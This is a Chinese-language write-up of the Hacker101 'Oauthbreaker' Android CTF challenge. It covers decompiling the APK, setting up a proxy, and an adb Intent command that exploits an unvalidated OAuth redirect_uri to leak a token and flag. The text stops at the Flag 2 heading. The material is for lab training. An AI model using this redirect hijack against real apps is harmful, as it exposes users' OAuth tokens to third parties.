ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Oauthbreaker

Oauthbreaker Oauthbreaker题目描述来源:Hacker101 CTF难度:中等(Moderate)Flag 数量:2 个Oauthbreaker 模拟了 Android 应用中 OAuth 流程的错误实现,核心是利用了两个逻辑漏洞:未校验的 redirect_uri→ 获取 Flag 1WebView 中暴露的 JavaScript 接口→ 获取 Flag 2准备工作1. 下载与安装# 从靶场页面下载 APKadbinstalloauth.apk2. 反编译源码# 方法 1:使用 apktoolapktool d oauth.apk# 方法 2:使用 JADX-GUI(推荐)jadx-gui oauth.apk3. 配置抓包环境在模拟器中设置 Burp Suite 代理,用于拦截和分析网络请求。4. 开启 Web 服务在电脑上启动一个简单的 HTTP 服务器,用于托管恶意 HTML 文件:python3-mhttp.server8081Flag 1:利用未校验的 redirect_uri漏洞分析查看MainActivity.java,发现redirect_uri参数直接从外部 Intent 中获取并拼接到 OAuth 请求 URL 中,没有任何校验。操作步骤1. 构造恶意 Intent使用 ADB 向 App 发送自定义 Intent,将redirect_uri指向百度:adb shell am start-a"android.intent.action.VIEW"\-ncom.hacker101.oauth/.MainActivity\-d"oauth://login/?redirect_uri=https://www.baidu.com/"2. 执行授权流程在 App 中点击AUTHENTICATE按钮完成授权。3. 获取 Flag浏览器最终跳转到百度,URL 参数中携带第一个 Flag:https://www.baidu.com/?token=...flag=^FLAG^...$FLAG$Flag 2:
返回列表